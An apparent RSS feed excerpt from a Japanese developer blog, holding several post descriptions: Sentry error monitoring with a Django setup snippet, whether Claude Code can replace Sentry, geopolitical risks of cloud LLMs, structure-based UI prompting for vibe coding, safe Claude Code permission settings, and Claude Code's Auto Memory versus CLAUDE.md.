&lt;p&gt;Sentry が他のログ監視ツールと異なるのは、&lt;strong&gt;エラーの文脈（コンテキスト）を自動収集&lt;/strong&gt;する点です。スタックトレースだけでなく、ユーザーのセッション情報、パフォーマンスデータ、リリースバージョンなど、デバッグに必要な情報を一元化します。&lt;/p&gt;
&lt;h2 id="sentry-の主要機能"&gt;Sentry の主要機能&lt;/h2&gt;
&lt;h3 id="1-error-monitoringエラー監視"&gt;1. Error Monitoring（エラー監視）&lt;/h3&gt;
&lt;p&gt;Sentry の中核機能です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リアルタイム検知&lt;/strong&gt;：エラー発生を即座にキャッチ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インテリジェントグルーピング&lt;/strong&gt;：同じ原因のエラーを自動的に1つの Issue にまとめる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アラート通知&lt;/strong&gt;：Slack、メール、PagerDuty 等と連携&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Django での導入例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; sentry_sdk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sentry_sdk&lt;span style="color:#f92672"&gt;.&lt;/span&gt;init(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dsn&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://xxx@xxx.ingest.sentry.io/xxx&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; traces_sample_rate&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; profiles_sample_rate&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="2-performance-monitoringパフォーマンス監視"&gt;2. Performance Monitoring（パフォーマンス監視）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散トレーシング&lt;/strong&gt;：リクエストの流れをフロントエンドからバックエンドまで追跡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トランザクション分析&lt;/strong&gt;：遅いエンドポイントやクエリを特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Vitals&lt;/strong&gt;：LCP、FID、CLS などフロントエンドのパフォーマンス指標&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-session-replayセッションリプレイ"&gt;3. Session Replay（セッションリプレイ）&lt;/h3&gt;
&lt;p&gt;ユーザーのセッションを&lt;strong&gt;ビデオのように再生&lt;/strong&gt;できる機能です。&lt;/p&gt;</description></item><item><title>Sentry を Claude Code で置き換えられるか — ランタイム計装と AI 分析の境界線</title><link>https://hdknr.github.io/blogs/posts/2026/03/sentry-%E3%82%92-claude-code-%E3%81%A7%E7%BD%AE%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%89%E3%82%8C%E3%82%8B%E3%81%8B-%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0%E8%A8%88%E8%A3%85%E3%81%A8-ai-%E5%88%86%E6%9E%90%E3%81%AE%E5%A2%83%E7%95%8C%E7%B7%9A/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/sentry-%E3%82%92-claude-code-%E3%81%A7%E7%BD%AE%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%89%E3%82%8C%E3%82%8B%E3%81%8B-%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0%E8%A8%88%E8%A3%85%E3%81%A8-ai-%E5%88%86%E6%9E%90%E3%81%AE%E5%A2%83%E7%95%8C%E7%B7%9A/</guid><description>&lt;p&gt;Sentry を Claude Code で置き換えられるか — ランタイム計装と AI 分析の境界線&lt;/p&gt;
&lt;h1 id="sentry-を-claude-code-で置き換えられるか--ランタイム計装と-ai-分析の境界線"&gt;Sentry を Claude Code で置き換えられるか — ランタイム計装と AI 分析の境界線&lt;/h1&gt;
&lt;p&gt;エラー監視ツール Sentry が提供する機能の多くは、Claude Code のようなAI コーディングエージェントで代替できるのではないか — LLM の分析能力が向上した2026年、この疑問は自然なものです。&lt;/p&gt;
&lt;p&gt;結論から言えば、&lt;strong&gt;分析レイヤーは Claude Code で代替可能（むしろ得意）であり、データ収集レイヤーもスタックがパターン化されていれば自前の共通ライブラリで実装可能&lt;/strong&gt;です。この境界線を正しく理解することが、最適なエラー監視体制を組む鍵になります。&lt;/p&gt;
&lt;h2 id="エラー監視の3層構造"&gt;エラー監視の3層構造&lt;/h2&gt;
&lt;p&gt;エラー監視は、以下の3つのレイヤーで構成されています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;エラー監視 = データ収集（ランタイム計装） + データ蓄積（基盤） + 分析（判断）
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レイヤー&lt;/th&gt;
&lt;th&gt;Sentry&lt;/th&gt;
&lt;th&gt;Claude Code で代替した場合&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;データ収集&lt;/td&gt;
&lt;td&gt;SDK がランタイムに計装&lt;/td&gt;
&lt;td&gt;??? （ここが問題）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;データ蓄積&lt;/td&gt;
&lt;td&gt;Sentry のイベント基盤&lt;/td&gt;
&lt;td&gt;CloudWatch / 自前ログ基盤&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分析&lt;/td&gt;
&lt;td&gt;Seer / ダッシュボード&lt;/td&gt;
&lt;td&gt;Claude Code（MCP / バッチ）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Claude Code が強力なのは右端の「分析」レイヤーです。しかし、左端の「データ収集」が貧弱だと、分析対象のデータ自体が不足します。&lt;/p&gt;
&lt;h2 id="claude-code-で代替できる部分"&gt;Claude Code で代替できる部分&lt;/h2&gt;
&lt;h3 id="1-インテリジェントグルーピング--llm-の方が得意"&gt;1. インテリジェントグルーピング → LLM の方が得意&lt;/h3&gt;
&lt;p&gt;Sentry はフィンガープリント（スタックトレース + 例外型 + メッセージの組み合わせ）でエラーを集約します。これはルールベースのアルゴリズムです。&lt;/p&gt;</description></item><item><title>クラウド LLM の地政学リスクが顕在化 — ローカル LLM 移行を本気で考える時</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89-llm-%E3%81%AE%E5%9C%B0%E6%94%BF%E5%AD%A6%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%8C%E9%A1%95%E5%9C%A8%E5%8C%96-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E7%A7%BB%E8%A1%8C%E3%82%92%E6%9C%AC%E6%B0%97%E3%81%A7%E8%80%83%E3%81%88%E3%82%8B%E6%99%82/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89-llm-%E3%81%AE%E5%9C%B0%E6%94%BF%E5%AD%A6%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%8C%E9%A1%95%E5%9C%A8%E5%8C%96-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E7%A7%BB%E8%A1%8C%E3%82%92%E6%9C%AC%E6%B0%97%E3%81%A7%E8%80%83%E3%81%88%E3%82%8B%E6%99%82/</guid><description>&lt;p&gt;クラウド LLM の地政学リスクが顕在化 — ローカル LLM 移行を本気で考える時&lt;/p&gt;
&lt;h1 id="クラウド-llm-の地政学リスクが顕在化--ローカル-llm-移行を本気で考える時"&gt;クラウド LLM の地政学リスクが顕在化 — ローカル LLM 移行を本気で考える時&lt;/h1&gt;
&lt;p&gt;2026年2月末、AI 業界に衝撃が走りました。Anthropic が米国防総省からブラックリスト指定を受け、Google の Gemini がイスラエル軍に無断提供されていた疑惑が浮上。&lt;a href="https://x.com/wmoto_ai/status/2027659359048843455"&gt;@wmoto_ai（生ビール）さんのポスト&lt;/a&gt;は、多くのエンジニアが感じた危機感を端的に表現しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「イスラエルの件、Anthropicの件然り一気に物騒になってきたので本気でローカルLLMへの移行先決めとかないとな..」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この記事では、2つの事件の背景と、クラウド LLM 依存が孕むリスクを整理します。&lt;/p&gt;
&lt;h2 id="事件1-anthropic-vs-米国防総省--ai-安全性を巡る全面対立"&gt;事件1: Anthropic vs 米国防総省 — AI 安全性を巡る全面対立&lt;/h2&gt;
&lt;h3 id="何が起きたか"&gt;何が起きたか&lt;/h3&gt;
&lt;p&gt;2026年2月、米国防長官 Pete Hegseth は Anthropic に対し、Claude の軍事利用におけるセーフガード（安全装置）の&lt;strong&gt;全面撤廃&lt;/strong&gt;を要求しました。&lt;/p&gt;
&lt;p&gt;Anthropic が拒否したかったのは、以下の2点です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;米国民に対する大量監視&lt;/strong&gt; への Claude の利用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人間の関与なしに発射する自律兵器&lt;/strong&gt; への Claude の利用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="時系列"&gt;時系列&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日付&lt;/th&gt;
&lt;th&gt;出来事&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2月16日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.axios.com/2026/02/16/anthropic-defense-department-relationship-hegseth"&gt;Pentagon が Anthropic との関係見直しを示唆&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2月25日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.axios.com/2026/02/25/anthropic-pentagon-blacklist-claude"&gt;ブラックリスト化の第一歩が報道&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2月26日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.npr.org/2026/02/26/nx-s1-5727847/anthropic-defense-hegseth-ai-weapons-surveillance"&gt;Hegseth が 2/27 17:01 を最終期限に設定。Anthropic CEO Dario Amodei が拒否を表明&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2月27日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.washingtonpost.com/technology/2026/02/27/trump-anthropic-claude-drop/"&gt;トランプ政権が Anthropic を「サプライチェーンリスク」に指定、政府業務から排除&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2月27日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.npr.org/2026/02/27/nx-s1-5729118/trump-anthropic-pentagon-openai-ai-weapons-ban"&gt;OpenAI が即座に国防総省との契約を発表&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2月28日&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.washingtonpost.com/technology/2026/02/28/pentagon-anthropic-fight-silicon-valley/"&gt;シリコンバレー全体への影響が報道される&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="dario-amodei-の声明"&gt;Dario Amodei の声明&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;We cannot in good conscience accede to their request.&amp;rdquo;
（彼らの要求に良心に従って応じることはできない）&lt;/p&gt;</description></item><item><title>バイブコーディングでデザインを劇的に改善する方法 — UI コンポーネント名で「構造」を指示する</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%90%E3%82%A4%E3%83%96%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%A7%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E6%94%B9%E5%96%84%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95-ui-%E3%82%B3%E3%83%B3%E3%83%9D%E3%83%BC%E3%83%8D%E3%83%B3%E3%83%88%E5%90%8D%E3%81%A7%E6%A7%8B%E9%80%A0%E3%82%92%E6%8C%87%E7%A4%BA%E3%81%99%E3%82%8B/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%90%E3%82%A4%E3%83%96%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%A7%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E6%94%B9%E5%96%84%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95-ui-%E3%82%B3%E3%83%B3%E3%83%9D%E3%83%BC%E3%83%8D%E3%83%B3%E3%83%88%E5%90%8D%E3%81%A7%E6%A7%8B%E9%80%A0%E3%82%92%E6%8C%87%E7%A4%BA%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;バイブコーディングでデザインを劇的に改善する方法 — UI コンポーネント名で「構造」を指示する&lt;/p&gt;
&lt;h1 id="バイブコーディングでデザインを劇的に改善する方法--ui-コンポーネント名で構造を指示する"&gt;バイブコーディングでデザインを劇的に改善する方法 — UI コンポーネント名で「構造」を指示する&lt;/h1&gt;
&lt;p&gt;バイブコーディング（Vibe Coding）で AI にUIを作らせると、「動くけどダサい」「素人っぽい」という壁にぶつかる人は多いでしょう。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/7_eito_7/status/2027755569332039844"&gt;@7_eito_7（えいと）さんのポスト&lt;/a&gt;は、この問題に対するシンプルかつ強力な解決策を提示しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「バイブコーディングでデザインを20倍よくする裏技。それはUIの種類を覚えること。2,500以上のデザイン例がまとまったThe Component Galleryでデザインの知識を増やす。そして『App Bar + Drawer + Card Grid + Tabs構成で』みたいに構造で指示するだけで一瞬でプロっぽくなる。」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;核心は**「見た目」ではなく「構造」で指示する**ことです。&lt;/p&gt;
&lt;h2 id="なぜきれいにしてでは良いuiにならないのか"&gt;なぜ「きれいにして」では良いUIにならないのか&lt;/h2&gt;
&lt;p&gt;バイブコーディングでよくある失敗パターンを見てみます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;❌ 曖昧な指示:
「もっとおしゃれにして」
「プロっぽいデザインにして」
「モダンな感じで」
→ AI は「統計的に平均的な」デザインを返す
→ 紫グラデーション、Inter フォント、角丸カードの量産（AI スロップ）
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;✅ 構造で指示:
「App Bar + Drawer + Card Grid + Tabs 構成で」
「Hero + 3カラム Feature Grid + Testimonial Carousel + CTA Footer で」
「Sidebar Navigation + Data Table + Filter Bar + Pagination で」
→ AI はコンポーネントの「正しい組み合わせ方」を知っている
→ 実在のデザインシステムに基づいた構造が生成される
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この違いが生まれる理由は明確です。LLM の学習データには Material Design、Fluent UI、Ant Design など&lt;strong&gt;実在のデザインシステムのコード&lt;/strong&gt;が大量に含まれています。コンポーネント名で指示すると、AI はそれらのデザインシステムの「正しい実装パターン」を参照して出力します。&lt;/p&gt;</description></item><item><title>非エンジニアでも安心！Claude Code を安全に使うための 2 つの設定ファイル（settings.local.json と CLAUDE.md）</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E9%9D%9E%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%A7%E3%82%82%E5%AE%89%E5%BF%83claude-code-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE-2-%E3%81%A4%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%83%95%E3%82%A1%E3%82%A4%E3%83%ABsettings.local.json-%E3%81%A8-claude.md/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E9%9D%9E%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%A7%E3%82%82%E5%AE%89%E5%BF%83claude-code-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE-2-%E3%81%A4%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%83%95%E3%82%A1%E3%82%A4%E3%83%ABsettings.local.json-%E3%81%A8-claude.md/</guid><description>&lt;h1 id="非エンジニアでも安心claude-code-を安全に使うための-2-つの設定ファイル"&gt;非エンジニアでも安心！Claude Code を安全に使うための 2 つの設定ファイル&lt;/h1&gt;
&lt;p&gt;Claude Code は強力なツールですが、ファイルの削除やシステムコマンドの実行など、意図しない操作が起きる可能性もあります。&lt;a href="https://x.com/tetumemo/status/2026794903397871810"&gt;@tetumemo さんのポスト&lt;/a&gt; では、非エンジニアが Claude Code を安全に使うために設定すべき 2 つのファイルが紹介されています。&lt;/p&gt;
&lt;p&gt;「包丁」に例えると、&lt;strong&gt;settings.local.json は安全カバー&lt;/strong&gt;（物理的に危険な操作を防ぐ）、&lt;strong&gt;CLAUDE.md は『危ないから気をつけて』という声かけ&lt;/strong&gt;（AI に判断基準を与える）。両方揃って初めて安全性が確保されるという、分かりやすい整理です。&lt;/p&gt;
&lt;h2 id="1-settingslocaljson--仕組みとして操作を制限する"&gt;1. settings.local.json — 「仕組みとして」操作を制限する&lt;/h2&gt;
&lt;h3 id="settingslocaljson-とは"&gt;settings.local.json とは&lt;/h3&gt;
&lt;p&gt;Claude Code の&lt;strong&gt;権限設定ファイル&lt;/strong&gt;です。AI がどのコマンドを実行でき、どのコマンドを実行できないかを JSON で定義します。&lt;/p&gt;
&lt;p&gt;設定ファイルは &lt;code&gt;.claude/settings.local.json&lt;/code&gt; に配置します。&lt;code&gt;.local&lt;/code&gt; が付くファイルは自動的に &lt;code&gt;.gitignore&lt;/code&gt; に追加されるため、&lt;strong&gt;個人の設定がチームに影響しません&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="基本構造"&gt;基本構造&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;permissions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;allow&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;許可するコマンドやツール&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;deny&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;禁止するコマンドやツール&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="非エンジニア向け推奨設定"&gt;非エンジニア向け推奨設定&lt;/h3&gt;
&lt;p&gt;@tetumemo さんが紹介しているのは、以下のような設定方針です。&lt;/p&gt;</description></item><item><title>Claude Code の Auto Memory（MEMORY.md）を理解する — CLAUDE.md との使い分け</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AE-auto-memorymemory.md%E3%82%92%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B-claude.md-%E3%81%A8%E3%81%AE%E4%BD%BF%E3%81%84%E5%88%86%E3%81%91/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AE-auto-memorymemory.md%E3%82%92%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B-claude.md-%E3%81%A8%E3%81%AE%E4%BD%BF%E3%81%84%E5%88%86%E3%81%91/</guid><description>&lt;h1 id="claude-code-の-auto-memorymemorymdを理解する--claudemd-との使い分け"&gt;Claude Code の Auto Memory（MEMORY.md）を理解する — CLAUDE.md との使い分け&lt;/h1&gt;
&lt;p&gt;Claude Code には「メモリ」と呼ばれる仕組みがセッション間で情報を引き継ぐために用意されています。最近 SNS でも話題になっている &lt;strong&gt;Auto Memory（MEMORY.md）&lt;/strong&gt; について、CLAUDE.md との違いや実践的な活用法を整理します。&lt;/p&gt;
&lt;h2 id="きっかけsns-での反応"&gt;きっかけ：SNS での反応&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/L_go_mrk/status/2027212536362447346"&gt;@L_go_mrk さんのポスト&lt;/a&gt; では、Claude Code の Auto Memory 機能について「かなり気が利いている」と評価されていました。ポイントは以下の通りです：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「これ覚えておいて！」と指示するだけで、Claude が自動的に重要情報を記憶してくれる&lt;/li&gt;
&lt;li&gt;CLAUDE.md（ルール特化）と MEMORY.md（学習・記憶特化）で情報が適切に分離されている&lt;/li&gt;
&lt;li&gt;プロジェクトごとに独立した記憶で、他プロジェクトに影響しない&lt;/li&gt;
&lt;li&gt;セッション間で記憶が維持される&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この指摘はまさにその通りで、CLAUDE.md と MEMORY.md は&lt;strong&gt;目的が異なる二つの記憶層&lt;/strong&gt;として設計されています。&lt;/p&gt;
&lt;h2 id="二つの記憶層claudemd-vs-memorymd"&gt;二つの記憶層：CLAUDE.md vs MEMORY.md&lt;/h2&gt;
&lt;h3 id="claudemd--指示書"&gt;CLAUDE.md — 「指示書」&lt;/h3&gt;
&lt;p&gt;CLAUDE.md は&lt;strong&gt;あなたが書いて Claude に従わせるルール&lt;/strong&gt;です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コーディング規約、ビルドコマンド、テスト手順&lt;/li&gt;
&lt;li&gt;プロジェクトのアーキテクチャや設計方針&lt;/li&gt;
&lt;li&gt;チーム全体で共有する約束事&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# プロジェクトルール
- テストは pytest で実行: `pytest -xvs`
- コミットメッセージは Conventional Commits に従う
- API 変更時は必ず OpenAPI スキーマを更新する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CLAUDE.md はリポジトリにコミットしてチームで共有することが想定されています。&lt;/p&gt;
&lt;h3 id="memorymd--学習ノート"&gt;MEMORY.md — 「学習ノート」&lt;/h3&gt;
